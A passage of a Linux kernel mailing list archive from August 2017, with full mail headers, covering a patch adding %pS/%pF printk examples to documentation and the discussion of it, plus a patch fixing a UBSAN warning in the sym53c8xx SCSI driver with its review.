        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 10 19:36:22 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dfrNY-0005F8-Pg
	for glk-linux-kernel-3@m.gmane.org; Thu, 10 Aug 2017 19:36:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753071AbdHJRgU (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 10 Aug 2017 13:36:20 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:50508 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752598AbdHJRgS (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 10 Aug 2017 13:36:18 -0400
Original-Received: from ls3530.fritz.box ([193.159.17.217]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M8NBi-1dT7wg3bDm-00vy0P; Thu, 10
 Aug 2017 19:35:36 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:zybg+flPus7ba1l1sDC9JleJoXO0qkyf4jgYzZM3Wmdv9ou4SEa
 //Tpe4XS2R1AcQN75Oof7GbBfWX75XRQJDcAUt+NXHPWkmqbVAwwp6RR7qyZnmfuXHyIELp
 htY3nrgw0wWZVewU/p1fCGVSeR635cpyRX7iL8TdX/KYQU8BvFx9o6TnskktFec7WRGzTml
 aIy59AtMBhBF3SJvQQ5CQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:4XLTJOu6wxg=:C1KGjiHVvrQE9qUHUhTBI5
 f8Zb6zUXkQ83gIL/ugVOE4smH15vSHzTfOQFE5q2Tu/6zgilG4EDv7sU5U0gFE+hY/UAt6qHR
 QWkxOkxb+BKDc1mP416A9J7cYgve1eA4lIZu86O9tEO135XVN1Mur4/5PfXITVRnVDq2/aeWZ
 n2DgUAqsUWKGlxhX6vbvZLF5d01m+RmGfeVV4wHmCI/vqtpPHlf5+2RegBhBohpuZWsH5+w55
 GwCa18sbysdG6vTPQ7DCUiuOR9rFQ5mrVf3+ZprRoX5EaC8w8/pqL/Qj0SjbhH2SkmNr9HojP
 2CFB10vVPXC0ApOOloJUHVb6+d+zNu7xWtqygux5D3SL/C8Wu302xu46rhPwgMcrzxL+Vp3zq
 /CYbJ4zmNzHRZFGTRWQ1KDUE8T8ZYo0O3W20NKrG4GHUQrqaSLCRpBnHt9aCdYpcPRaQ5xXMy
 u5KWtFD9d7fbU62NVdEpmkW35JNlK6OHDKaqdYMOU0/ikKlzxEPYYBlQFMPNGrIfFHVam69YG
 n1bhfWvMpzkI310uaW9x1ub+PBq13sDV9NgOeILd9FQbWgz9gWl0LD9DIVMC/oxgSWefqIf5u
 nTEPWFQdaceVdA9SzodkvrUl7JLwvdxB40o8EpO0Y8A4ELl4+RezilslV7FizulncqUtxQCb+
 E2rwSI1nTekjEmEZfNPyiri9s2SZ9YFcKybwhpRDrTP226nZ3Et4cDZnBtgAvit9NTXYpgw5m
 OI6x/gTY8Hpmqc4GK5eM8NqyMkfm7UVvHkxqe9bEgifOJ79+wGJmchcARLJGDRzeS1fObbX8 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2545868 gmane.linux.ports.parisc:27642
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2545868>

Sometimes people seems unclear when to use the %pS or %pF printk format.
Adding some examples may help to avoid such mistakes.

See for example commit 51d96dc2e2dc ("random: fix warning message on ia64 and
parisc") which fixed such a wrong format string.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
index 65ea591..be8c05b 100644
--- a/Documentation/printk-formats.txt
+++ b/Documentation/printk-formats.txt
@@ -73,6 +73,12 @@ actually function descriptors which must first be resolved. The ``F`` and
 ``f`` specifiers perform this resolution and then provide the same
 functionality as the ``S`` and ``s`` specifiers.
 
+Examples::
+
+	printk("Called from %pS.\n", __builtin_return_address(0));
+	printk("Called from %pS.\n", (void *)regs->ip);
+	printk("Called from %pF.\n", &gettimeofday);
+
 Kernel Pointers
 ===============
 


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] sym53c8xx: Avoid undefined behaviour in
 drivers/scsi/sym53c8xx_2/sym_hipd.c:762
Date: Thu, 10 Aug 2017 21:08:49 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20170810190849.GA12659@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502392137 13851 195.159.176.226 (10 Aug 2017 19:08:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 10 Aug 2017 19:08:57 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-parisc@vger.kernel.org
To: linux-scsi@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        linux-kernel@vger.kernel.org
Original-X-From: linux-scsi-owner@vger.kernel.org Thu Aug 10 21:08:52 2017
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1dfsp9-00028s-Bg
	for lnx-linux-scsi@m.gmane.org; Thu, 10 Aug 2017 21:08:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753099AbdHJTI5 (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
        Thu, 10 Aug 2017 15:08:57 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:53110 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752889AbdHJTI4 (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
        Thu, 10 Aug 2017 15:08:56 -0400
Original-Received: from p100.box ([193.159.17.217]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MDhba-1dqIhR0S3K-00HAMW; Thu, 10
 Aug 2017 21:08:51 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:+nqcd0xUBpY3fNAUatm0Sdxz5Kt428jOI7rymVKz/mXY7wwCUD1
 GHj23RoJwShrZ8maMsKHdtTDXZpbPjKCkC/evzGQ+0vdIgyBvHSL+UdSpL0QdSgQmpbqKel
 zkLAj+9WT3pb+ktzLTOxxx0O5LogeTzdwJch0OyU12+Qq/n/dLQq3r/a3Ti0eGrUTNljt0U
 0snaDX4tHYSKPJwWwgt7g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:S5OVCNVfSE8=:8+xPcoaGSHULyajdFN2kLi
 Zl+icDjWPsnaQCV3maVXkwLp8t5dpG1RQIV/5zcqUiJiPofEubmfcTyXaOlhXsHEauDjGGiMM
 s27Jjgw+/ryen/+jHZsY3zZ/AY7TEc+nuru3zRwSgpLyC0KXZlJgkxQuRvVZQoU7bNp5UB6sC
 aoRG9PnmmJFhNpR9EV5h5izEGPpfk+cxkA7yn4mgRht56gRxBWA1o6WxiC6zYCAvEz6pQ1qCt
 076oWEUdWittn2KpNmpnpytrfrF+m0EKW2lNr/m0kSzVOqOrE3+ppnEFVEACZSj4QDh4y8nek
 vkH5tP/Q7jB/93STUs+aRXUW92wXXjDvexMsE3fNVr/AOlHPdxorXz1fauDb9/GG6akFV4eZp
 Nsk4kTgE2wuZzNFLYM1oavkQmXqkiPC15oXJHByndDaOpbFXfREHGHCeREf+QMW/TJ09oUIIl
 bsJI5HoSHkSOYijb+zJaAVikuY8Qgxim8IZjvbfyQd55PIc9Q4xH3wWqPL9tfyad0hRlhUqVz
 HeqXVf54VClhM23eQWdPButEl0ifVzgdp1lNmfUwl/ebssm9LrOuj5/H1EWx9zEHQIpXEnZpS
 EkJI8inrD6SyB3YrXl60DV4JDUQ77QdXQzE1mSZ5XXSjrloRvfS4XJOBwxYqM6kNOnY7GApU8
 4HEddEL2lLZ1RtgFXc2XzW6OT2zt31fcZeYT1TxX8XuBYf52RdsH1eLP39b18N1KpSHW1w5G9
 P+gEAWpcbHWibiDvGURUrdhvOlTteR75PF7UpdEUSlrshd4yhJ6jjrrbd01USWXpXr8RC6FO 
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:128973 gmane.linux.kernel:2545926 gmane.linux.ports.parisc:27643
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/128973>

On parisc I see this UBSAN warning with a sym53c896:

 UBSAN: Undefined behaviour in ./drivers/scsi/sym53c8xx_2/sym_hipd.c:762:24
 index -1903078336 is out of range for type 'u32 [7]'

Avoid this warning by switching to dev64_ul().

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/scsi/sym53c8xx_2/sym_hipd.c b/drivers/scsi/sym53c8xx_2/sym_hipd.c
index 6b349e3..15ff285a9 100644
--- a/drivers/scsi/sym53c8xx_2/sym_hipd.c
+++ b/drivers/scsi/sym53c8xx_2/sym_hipd.c
@@ -759,7 +759,7 @@ static int sym_prepare_setting(struct Scsi_Host *shost, struct sym_hcb *np, stru
 	/*
 	 * Maximum synchronous period factor supported by the chip.
 	 */
-	period = (11 * div_10M[np->clock_divn - 1]) / (4 * np->clock_khz);
+	period = div64_ul(11 * div_10M[np->clock_divn - 1], 4 * np->clock_khz);
 	np->maxsync = period > 2540 ? 254 : period / 10;
 
 	/*


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Fri, 11 Aug 2017 09:15:21 +0900
Lines: 48
Approved: news@gmane.org
Message-ID: <20170811001521.GA520@jagdpanzerIV.localdomain>
References: <20170810173533.GA11600@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502410509 2206 195.159.176.226 (11 Aug 2017 00:15:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 Aug 2017 00:15:09 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: Petr Mladek <pmladek@suse.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 11 02:15:04 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dfxbS-00034A-Q3
	for glpp-linux-parisc@m.gmane.org; Fri, 11 Aug 2017 02:15:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750909AbdHKAPJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 10 Aug 2017 20:15:09 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:38815 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750841AbdHKAPI (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 10 Aug 2017 20:15:08 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id h75so1972563pfh.5;
        Thu, 10 Aug 2017 17:15:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=51wtxXueFl/JWcr/SBd2WN0MKeG7NTtfdOpF93J7yl8=;
        b=tGnYizqUqQW0p8+owIPy/NfLXbRpOspzn6LpgflGXhpECqIFcJSHUB++vNGOGRVrHx
         LsiE3ZPhe0hUL3jJoH5ys7E1AyaFJz+rNzI83TBfQQWaHNuFnbAaKdqw9Cggnu461pQr
         J5vja/HKjAJLS0oPT2QjSsISwwmOwTmIo1pLG/KSbFeaueLwOvkUvmCHBY2wvvKhooeT
         iMHf77P0M7nsdKYxrM8RFKdmb/VvbzFH9W3YUDp+GIYVLp7uP5bEmyTZ+rWPdKdHmU4a
         Myi+hcmqwLdj6QEJLz3eYeuqs3BwDxmNB2IjJBe5a2+w/H9d6FZeqMyNgncL/M8NhNgm
         +Ytg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=51wtxXueFl/JWcr/SBd2WN0MKeG7NTtfdOpF93J7yl8=;
        b=VGGkyKZK52ZPo4sC7P/u8FMqesDQYaDLzmPWU6smZgfbGoLM8j6EkKHE1Wr6AjHo0X
         sTS6cS8ehmHt9bROQB+U06LLJO+Ucpq+iOlTmgvr+SQbgzISFWrZuDEx1O0+VdyIJ9La
         Cw+eTkWHfqxWjSkY54snAU0k28hqh8Ny8MLs+zasPJfbUeTHLkOxhzxQ94Gvp3kc5iiA
         AM3/tbfGHYpjZ3ojCIZMzki0DQCbJ30AA7hHyOGLxC93c+/h1IfLqj9c6rp5gWxJ+CsG
         /ZlHCpHZABpPnsvhLsbZOFDtH829UJexJnLD1/zPor4pWXSnLrg1nNnbhBMGciYvP1kT
         FaYQ==
X-Gm-Message-State: AHYfb5gSHAtPIZkWe47SVVFYYKMebUsHvGT0ox7VAc6eM/miyBjFWHWh
        Mrq4Ln113CkM0Q==
X-Received: by 10.99.160.80 with SMTP id u16mr13551147pgn.26.1502410507905;
        Thu, 10 Aug 2017 17:15:07 -0700 (PDT)
Original-Received: from localhost ([175.223.49.179])
        by smtp.gmail.com with ESMTPSA id l16sm9266425pfk.173.2017.08.10.17.15.05
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 10 Aug 2017 17:15:06 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20170810173533.GA11600@ls3530.fritz.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27644 gmane.linux.kernel:2546094
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27644>

On (08/10/17 19:35), Helge Deller wrote:
> Sometimes people seems unclear when to use the %pS or %pF printk format.
> Adding some examples may help to avoid such mistakes.
> 
> See for example commit 51d96dc2e2dc ("random: fix warning message on ia64 and
> parisc") which fixed such a wrong format string.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
> index 65ea591..be8c05b 100644
> --- a/Documentation/printk-formats.txt
> +++ b/Documentation/printk-formats.txt
> @@ -73,6 +73,12 @@ actually function descriptors which must first be resolved. The ``F`` and
>  ``f`` specifiers perform this resolution and then provide the same
>  functionality as the ``S`` and ``s`` specifiers.
>  
> +Examples::
> +
> +	printk("Called from %pS.\n", __builtin_return_address(0));
> +	printk("Called from %pS.\n", (void *)regs->ip);
> +	printk("Called from %pF.\n", &gettimeofday);

sorry, but how does it help?


there is this paragraph

: On ia64, ppc64 and parisc64 architectures function pointers are
: actually function descriptors which must first be resolved. The ``F`` and
: ``f`` specifiers perform this resolution and then provide the same
: functionality as the ``S`` and ``s`` specifiers.

which supposed to explain everything in details. the examples
don't make it any `clearer', IMHO.


*may be* on "ia64, ppc64 and parisc64" we can somehow check
that the pointer, which we pass as %pS, belongs to .text and
print some build-time warnings. well, if it's actually a
problem. dunno.

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Johannes Thumshirn <jthumshirn@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi,gmane.linux.kernel
Subject: Re: [PATCH] sym53c8xx: Avoid undefined behaviour in
 drivers/scsi/sym53c8xx_2/sym_hipd.c:762
Date: Fri, 11 Aug 2017 09:24:13 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20170811072413.GB3744@linux-x5ow.site>
References: <20170810190849.GA12659@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1502436256 8809 195.159.176.226 (11 Aug 2017 07:24:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 Aug 2017 07:24:16 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: linux-scsi@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 11 09:24:12 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dg4Ij-0008UA-Fe
	for glpp-linux-parisc@m.gmane.org; Fri, 11 Aug 2017 09:24:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752406AbdHKHYQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 11 Aug 2017 03:24:16 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:53210 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751440AbdHKHYP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 11 Aug 2017 03:24:15 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id EA2BAABDB;
        Fri, 11 Aug 2017 07:24:13 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170810190849.GA12659@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27645 gmane.linux.scsi:129011 gmane.linux.kernel:2546299
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27645>

On Thu, Aug 10, 2017 at 09:08:49PM +0200, Helge Deller wrote:
> On parisc I see this UBSAN warning with a sym53c896:
> 
>  UBSAN: Undefined behaviour in ./drivers/scsi/sym53c8xx_2/sym_hipd.c:762:24
>  index -1903078336 is out of range for type 'u32 [7]'
> 
> Avoid this warning by switching to dev64_ul().
                            div64_ul() ^

Otherwise,
Reviewed-by: Johannes Thumshirn <jthumshirn@suse.de>


-- 
Johannes Thumshirn                                          Storage
jthumshirn@suse.de                                +49 911 74053 689
SUSE LINUX GmbH, Maxfeldstr. 5, 90409 Nrnberg
GF: Felix Imendrffer, Jane Smithard, Graham Norton
HRB 21284 (AG Nrnberg)
Key fingerprint = EC38 9CAB C2C4 F25D 8600 D0D0 0393 969D 2D76 0850
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Fri, 11 Aug 2017 09:31:28 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <47718712-9eb2-8ad7-965e-d0971d07e985@gmx.de>
References: <20170810173533.GA11600@ls3530.fritz.box>
 <20170811001521.GA520@jagdpanzerIV.localdomain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1502436733 14328 195.159.176.226 (11 Aug 2017 07:32:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 Aug 2017 07:32:13 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: Petr Mladek <pmladek@suse.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 11 09:32:07 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dg4QO-0001jC-U0
	for glpp-linux-parisc@m.gmane.org; Fri, 11 Aug 2017 09:32:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751440AbdHKHcL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 11 Aug 2017 03:32:11 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:60243 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751370AbdHKHcK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 11 Aug 2017 03:32:10 -0400
Original-Received: from [192.168.20.60] ([193.159.18.183]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M8qOm-1dlajm2D4G-00CD9C; Fri, 11
 Aug 2017 09:31:30 +0200
In-Reply-To: <20170811001521.GA520@jagdpanzerIV.localdomain>
Content-Language: en-US
X-Provags-ID: V03:K0:fIxKkpSG3Ag4yk7UtQvv6Dw9t9qlffTz3dVgG5W3lhcm4Nj0Bb7
 S/7Ho+6CcMyjUvFLYXYJDrMQdfKFemadRJy6UX1kx0OgaagoOxavgEnEqVtn41zeCnPSHXw
 KkGZzDOh1JxHzMvR6bq7j0QEnWEks6CiWUuGPz+QycSHHpWJbAA/Y4jAMx3is8voIvSD+aq
 wW3jSDMxT0g/xwQacmLwA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:fUoyaECzfxY=:khbMTGHs5/RjfR9zuuS/+z
 yUuXrOADWPKS2bcTUNluqnkyTYx5VQCT+T+OzglQEfsUChAdQORJYQbds0ztYs1piwV25Hen7
 cHbw3DSIrl9tMpq8GWMni6q5y3m5M1Oh0Y3Y17UbU3ScYlBrpwytAVwCB3V5K6pAwb/EnOt/1
 h6sJzp3yN0XBtKyq89RHWcbAi7bDwBsV33GQKKgXk2zaNrgSwWczPWM/jHCM15jLxO5l1CC52
 u/IL7MdtYG0EUT7+3oHu1V1DMzh+SCImqIO+JHbXhrsWg5ZyEp9dBCKqbHbcsyqUFSLJ9jAGl
 TY022S/YMZHlXtXjRx2W6s+LbgEe2SjqAObbjdyYernMOfxhSOf53qVJUq8SW0vtBr62HCqv1
 UGRswAkoDojVYx3ijXbNnEojnM59EiXPSP/V4iOuEBy6Iu0klO6Nj1tbSApKg9kUPZ9Pyy1qj
 pjiz9urEQI6FCOYiK039bIWBOutRFs6eYQS98lWayCe87j/u9SDdnMhdgh/RxOALaJWyKjHSc
 CQXPTFjalhcMreIZlKmlofAl36IMcAQZBNIJF/Y3vdc5xJxL5/eXGHUzH/jXbHa1z/gcxY8RR
 Sqv6I8LLEGvsw47qmVbSHTvT1HQl9DiI3kNPhGpAaWZIJzfg6gGGEuxcA40kz0MC2agVBV5EU
 q9D1vpZkg0xV3xDgtNPDsqWyn5cW7x8Ki40d/p4GmTaUmD9ChFh8bDalbxexHAzzq3H/R/R6M
 d+hKFHUIJSCVoa0jXfOOkLI1pkJtv/VIpbcswd+jXAVpUZbYj65ISTY0748SET6rRTBR1d3p 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27646 gmane.linux.kernel:2546305
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27646>

On 11.08.2017 02:15, Sergey Senozhatsky wrote:
> On (08/10/17 19:35), Helge Deller wrote:
>> Sometimes people seems unclear when to use the %pS or %pF printk format.
>> Adding some examples may help to avoid such mistakes.
>>
>> See for example commit 51d96dc2e2dc ("random: fix warning message on ia64 and
>> parisc") which fixed such a wrong format string.
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
>> index 65ea591..be8c05b 100644
>> --- a/Documentation/printk-formats.txt
>> +++ b/Documentation/printk-formats.txt
>> @@ -73,6 +73,12 @@ actually function descriptors which must first be resolved. The ``F`` and
>>  ``f`` specifiers perform this resolution and then provide the same
>>  functionality as the ``S`` and ``s`` specifiers.
>>  
>> +Examples::
>> +
>> +	printk("Called from %pS.\n", __builtin_return_address(0));
>> +	printk("Called from %pS.\n", (void *)regs->ip);
>> +	printk("Called from %pF.\n", &gettimeofday);
> 
> sorry, but how does it help?
> 
> 
> there is this paragraph
> 
> : On ia64, ppc64 and parisc64 architectures function pointers are
> : actually function descriptors which must first be resolved. The ``F`` and
> : ``f`` specifiers perform this resolution and then provide the same
> : functionality as the ``S`` and ``s`` specifiers.
> 
> which supposed to explain everything in details. the examples
> don't make it any `clearer', IMHO.

Experts surely do know what function descriptors are.
Nevertheless even those often get it wrong as can be seen in
various commits.

The hope with this patch is to show widely-used examples
and avoid additional commits afterwards to fix it up.

This patch was meant to be RFC.
If you decide not to take it, I'm fine as well.

> *may be* on "ia64, ppc64 and parisc64" we can somehow check
> that the pointer, which we pass as %pS, belongs to .text and
> print some build-time warnings. well, if it's actually a
> problem. dunno.

I think it's not needed. Those bugs will be seen and fixed.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.kernel
Subject: [PATCH 00/16] ALSA: PCI: constify snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:12 +0530
Lines: 70
Approved: news@gmane.org
Message-ID: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502551905 28893 195.159.176.226 (12 Aug 2017 15:31:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:31:45 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 12 17:31:38 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dgYNz-0000Tb-5i
